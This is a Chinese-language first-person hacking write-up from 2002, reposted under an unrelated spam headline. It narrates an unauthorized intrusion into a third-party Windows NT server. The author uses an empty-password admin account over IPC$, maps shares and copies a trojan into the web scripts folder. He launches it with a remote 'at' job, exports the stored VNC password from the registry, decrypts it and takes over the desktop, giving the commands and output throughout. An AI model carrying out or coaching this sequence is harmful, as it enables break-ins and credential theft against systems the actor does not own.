偶看新闻rc飞行模拟器破解版:如何进入取消默认共享的主机
来源：百度文库 编辑：偶看新闻 时间：2024/04/27 21:38:12
(作者：xhacker)
今天晚上在网上准备找一些可看性强的技术文章用已提高水平，但有几个不错的网络安全网站又不知什么原因关闭了。找不到什么好文章，这样我就自己找一台服务器练习一下，因为这样也能学到不少技术。于是我翻了翻以前保存下来的扫描结果,看到有一台服务器账号较多,共有400多个，其中有个stone账号的密码为空(admin权限)。看来网管没有开置密码策略，好，就选这台服务器下手。先ping一下，看看这台服务器是否存在(服务器IP地址以x.x.x.x替代表示)：
E:\>ping x.x.x.x
Pinging x.x.x.x with 32 bytes of data:
Reply from x.x.x.x: bytes=32 time=381ms TTL=110
Reply from x.x.x.x: bytes=32 time=320ms TTL=110
Reply from x.x.x.x: bytes=32 time=321ms TTL=110
Reply from x.x.x.x: bytes=32 time=320ms TTL=110
Ping statistics for x.x.x.x:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 320ms, Maximum = 381ms, Average = 335ms
好了，以下就不多说了，ipc$入侵教程多的是，大家一看就明白。
过程如下：
E:\>net use \\x.x.x.x\ipc$ "" /user:stone
命令成功完成。
E:\>dir \\x.x.x.x\c$
找不到网络名。
E:\>dir \\x.x.x.x\admin$
找不到网络名。
E:\>dir \\x.x.x.x\d$
找不到网络名。
E:\>dir \\x.x.x.x\E$
找不到网络名。
…………
倒！运气不好啊，网管这方面倒还有点安全意识，把winnt的所有默认共享全去掉了，其实这点反而激发了我的兴趣啊。现在的情况是获得了一个admin的账号，但是却没有一个默认的可写目录和根目录，所以不能用常规的方式进一步获取资源了。呵呵，希望还是有的！接下来我自己寻找可写目录,查查看网管自己有没有设置共享资源吧。如下:
E:\>net view \\x.x.x.x
在 \\x.x.x.x 的共享资源
资源共享名 类型 用途 注释
------------------------------------------------------------------
ADHot Disk
APPL Disk
DATABASE Disk
demo_1 Print \\Demo\demo_1
HPLJ5si Print HP LaserJet 5Si
HPlp1 Print HP LaserJet 5Si (Linux Shared)
IED Disk
InetPub Disk
internal Disk
NETLOGON Disk 登入伺服器資源分享
SALES Disk
sharing Disk
temp Disk
visio Disk
工程DownLoad資料庫
Disk
業務DownLoad資料庫
Disk
雅邁y2k Disk
命令成功完成。
太棒了，有这么多共享目录，看来这是一台工作服务器，是为了内部网里的工作需要设定了相应的共享资源。我们接下来映射共享硬盘吧，从Inetpub开始吧，这是winnt/2k默认的存放主页的地方，它都共享真是最好不过了，许多漏洞都和它有关。我的利用过程如下：
E:\>net use g: \\x.x.x.x\Inetpub
命令成功完成。
OK!现在为了方便，把当前的本地硬盘切换到虚拟映射的硬盘吧。
随便再看看这个共享目录有没有对stone账号开放写入权限。随便创建一个目录，我创建个xhacker目录，如下：
D:\>g:
G:\>md xhacker
G:\>dir
驱动器 G 中的卷没有标签。
卷的序列号是 6803-C297
G:\ 的目录
2002-06-14 21:37
2002-06-14 21:37
2002-06-06 18:04
2000-04-14 04:28 2,940 c.txt
2002-06-14 17:59
2002-06-14 20:37
1998-11-11 11:27
2001-11-26 10:07
2000-01-04 14:22
2000-01-04 14:26
2002-06-14 11:14
2000-04-14 04:27 26 Test.bat
2001-02-02 13:29
2002-06-14 21:37
2 个文件 2,966 字节
12 个目录 706,426,880 可用字节
看到了吗？呵呵，这下可好了。有希望拿admin。再看看scripts里内容再说吧。过程如下：
G:\>dir scripts
驱动器 G 中的卷没有标签。
卷的序列号是 6803-C297
G:\scripts 的目录
2002-06-14 11:14
2002-06-14 11:14
2002-06-14 11:14
0 个文件 0 字节
3 个目录 706,426,880 可用字节
怎么会没有？没关系，再看看wwwroot,这也是经常存放主页的地方：
G:\>dir wwwroot
驱动器 G 中的卷没有标签。
卷的序列号是 6803-C297
G:\wwwroot 的目录
2001-02-02 13:29
2001-02-02 13:29
1998-02-24 13:04 4,630 default.asp
1996-11-26 00:00 3,685 default.htm
2002-06-13 21:43
2000-05-25 09:49 23,155 e.htm
2000-01-04 16:40 2,890 Home.htm
1999-12-30 15:28
2000-06-01 15:32 8,143 index.htm
2001-11-26 10:07
2001-05-30 00:28
2000-05-25 09:50 6,689 Weekly.htm
1999-12-30 15:28
2000-01-04 14:29
………（略）
16 个文件 106,073 字节
8 个目录 706,426,880 可用字节
呵呵，看上去这好像是存放主页的目录了。习惯性地放了个idq.dll上去（提升权限），ispc不上，我还以为这就能拿到了admin呢。看来没有开放虚拟目录执行权限啊。这时想到了浏览主页，晕倒，404错误，找不到。不知是不是没配置好iis，看来利用admin账号连接ipc获取最高控制权的思路已经中断了(在这里我也虚拟了好几个共享资源，尝试找到可利用资源，比如口令文件等，根本找不到什么重要的)。本以为一个现成的admin账号就能拿到它了，现在看没这么简单，我们还是分析一下服务器开了哪些服务再找突破口吧：
x.x.x.x的端口信息：
* + x.x.x.x adsl-61-56-234-146.NHON.sparqnet.net
|___ 21 File Transfer Protocol [Control] （可以尝试破解并登录，但不推荐）
|___ 220 demont Microsoft FTP Service (Version 4.0)...
|___ 53 Domain Name Server
|___ 80 World Wide Web HTTP (扫描cgi,iis漏洞，不过好像iis工作不正常）
|___ HTTP/1.1 404 ............Server: Microsoft-IIS/4.0..Date: Fri, 14 Jun 2002 15:19:05 GMT..Content-Type: text/html..Content-Lengt
|___ 135 DCE endpoint resolution
|___ 139 NETBIOS Session Service
|___ 443 https MCom
|___ 5005 avt-profile-2
|___ 5800 Virtual Network Computing server
|___ 5900 Virtual Network Computing server (VNC服务，考虑这个登录)
|___ RFB 003.003.
|___ 8000 iRDMI/Shoutcast Server
：
呵呵，现在我主要可利用入侵的服务有21,80,5900，由此判断出这是一台winnt+iis4.0,而之前我没有进行扫描端口完全是光想着用现成admin权限的stone账号进入。这样对方即使开了www服务，我的那个idq.dll也是没用的，idq.dll只对win2k+sp3以下有效，所以应该放置一些winnt相关的iis漏洞,比如放一个bat文件放入scripts去拿admin。可是这台服务器的www没有设定好，无法通过浏览器调用文件。下面再接着分析吧，大家可能对这个5900端口了解的不多，我现在就先从5900开始刺探。这里我简单给5900(VNC远程控制软件所开的端口)介绍几句，VNC——Virtual Network Computing（即虚拟网络计算机系统）是由AT&T开发的各种操作系统之间的相互操作管理系统，使用VNC可以使你在不同的计算机之间实现真正的相互操作，不过，VNC只限于GUI之间的相互操作，如Windows同Linux系统的X Window之间相互操作，Windows同Macintosh之间的相互操作等,它可以安装在Windows中而让使用者在远端遥控自己的电脑，就算是遥控不同的操作平台也没有问题.(winnt远程管理服务软件主要就是win2k3389，pcanywhere,VNC, Remote Administrator等等)。现在有了个思路，因为vnc的密码就在注册表\HKEY_CURRENT_USER\Software\ORL\WinVNC3\Password 键值或者是
\HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3\Password键值里，我们先读出这个键值后再用相应算法解出来就是VNC的远程管理密码了。于是我重建了ipc$空连接，接着打开regedit注册表编辑器，选择“连接远程注册表”，输入IP地址x.x.x.x，好了，出现了以下的图1:
出现了三个键值，然后查找vnc的密码键值，从HKEY_USERS主键找好了，非常遗憾，没有找到password键值，看来新版VNC出于安全考虑，把这个主键的密码去掉了 ,新版的VNC软件的密码键值存放在HKEY_CURRENT_USER主键中，但即使有个admin账号在远程也读不出这个主键。 这样通过VNC来入侵的思路又断了，真不好办。接着又想了不少办法，其中也不乏有巧妙的，比如在HKEY_CLASSES_ROOT改变某文件关联，指其关联指向我预先在inetpub放置的一个捆绑文件默认关联程序的木马，其实这种方法实际上有可能成功，但是需要时间去等侍，所以我还是放弃了这种被动的手段。
现在我再来做个总结，目前我遇到的困难是对方把c$,d$,admin$都关了,可我已有了个admin账号了，难道真的像其它安全策略文章所说的那样，只要关掉admin$,c$,d$等等这些系统默认共享，入侵者即使有个admin账号也进不来了。我向来不轻信这些安全建议的文章，在反复思考当中，我突然灵感一现，又想回到共享资源上着手，试想，如果把一个木马拷贝到一个共享目录里，然后远程再触发它运行就好了。关键在于怎么触发它，下套肯定是不聪明的表现。我想起了at命令，这个命令大家都用习惯了远程启动admin$或admin$\system32下面的木马,现在这台服务器的admin$关了，所以让我尝试一下放在其它path启动，我又看看共享资源列表，决定放在inetpub\scripts下，因为这个目录默认是c:\inetpub\scripts之下（没有装多系统的情况下）。好了，这个有意思 的入侵策略制定好后，剩下的就是做木马、上传和启动了。木马我是用janker的winshell5.0直接生成的，所以不多说了，我给木马起名为server.exe。接下来就是上传，
copy d:\server.exe g:\scripts (G:虚拟的是服务器的inetpub，所以直接输入scripts)
OK,这个不难看懂。下面再进行最关键的一步:
Net time \\x.x.x.x
\\x.x.x.x 的当前时间是 2002/6/25 下午 08:49
命令成功完成。
At \\x.x.x.x.x 20:51 c:\inetpub\scripts\server.exe (这句是不是和以往的用法不太一样)
新加了一项作业，其作业 ID = 1
好了，这样就使服务器的计划任务在08:51自动启动指定的共享目录下的木马server.exe,嘿嘿，现在再逗网友snake玩，呵呵，他是个很好玩的编程牛人,我天天逗他玩。 时间已经差不多了，再看看，net time \\x.x.x.x
x.x.x.x 的当前时间是 2002/6/25 下午 09:02
好，telnet上玩玩，呵呵,果然成功！现在终于拿到个高权限的shell了。不过就是命令行状态的，怎么说软件也进入窗子时代了，要改改了。这时我就想到了服务器上运行着的5900,现在取它的远程控制密码，过会用它来远程控制服务器。好的，看我怎么取得它的密码，telnet上刚才的木马，然后运行这么一句导出注册表中的vnc密码关键值:
regedit /e xhacker.reg HKEY_CURRENT_USER\Software\ORL\WinVNC3
OK,然后type xhacker.reg
[HKEY_CURRENT_USER\Software\ORL\WinVNC3]
"SocketConnect"=dword:00000001
"AutoPortSelect"=dword:00000001
"InputsEnabled"=dword:00000001
"LocalInputsDisabled"=dword:00000000
"IdleTimeout"=dword:00000000
"QuerySetting"=dword:00000002
"QueryTimeout"=dword:0000000a
"Password"=hex: cd,7c,b9,bd,c7,e9,0c,c9 (关键啊，记下这个)
"PollUnderCursor"=dword:00000000
"PollForeground"=dword:00000001
"PollFullScreen"=dword:00000000
"OnlyPollConsole"=dword:00000001
"OnlyPollOnEvent"=dword:00000000
找到了我要的健值了，接下来回到本地机破解这个键值的明文密码吧（翻了老半天终于找到个程序是破vnc的，不是穷举密码哦）,把刚才的8个字段一一输入，注意x4的参数W是大写的。
D:\>x4 -W
cd
7c
b9
bd
c7
e9
0c
c9
Entered HEX String: cd 7c b9 bd c7 e9 c c9
VNC Password: 58218411 (一秒钟都不要就算出来了！)
呵呵，密码是标准的8位纯数字58218411，有什么含义呢？不猜了。下面就可以登录他的桌面了，嘿嘿，如下图2:
图3：
看到了桌面也没觉得什么有成就感，有价值的是又一次开拓了我的思维,也让我意识到有些习惯性思维的确是一种障碍，比如文中提到的至关重要的一个突破口at命令，以前at运行admin$下的程序惯了，一时想不到它的其它用法,现在还是有其它利用方式的，比如这次就是上传server.exe木马至一个可写目录里，然后远程用at激活运行它。后来我又进行了一些实验，发现在这种情况下即使网管取消所有共享资源我也可以轻松进桌面，系统只要开个ipc$就可以了,当然这不是说上面的入侵方式没有价值了，其实上面的方式通用性较好。所以我建议大家要真的想关admin$,c$,d$…还不如只关闭个ipc$。好了，这次入侵就记录到这，本人水平有限，如果大家有兴趣与我交流或给我指正，请联系QQ:66680800
主目录 分目录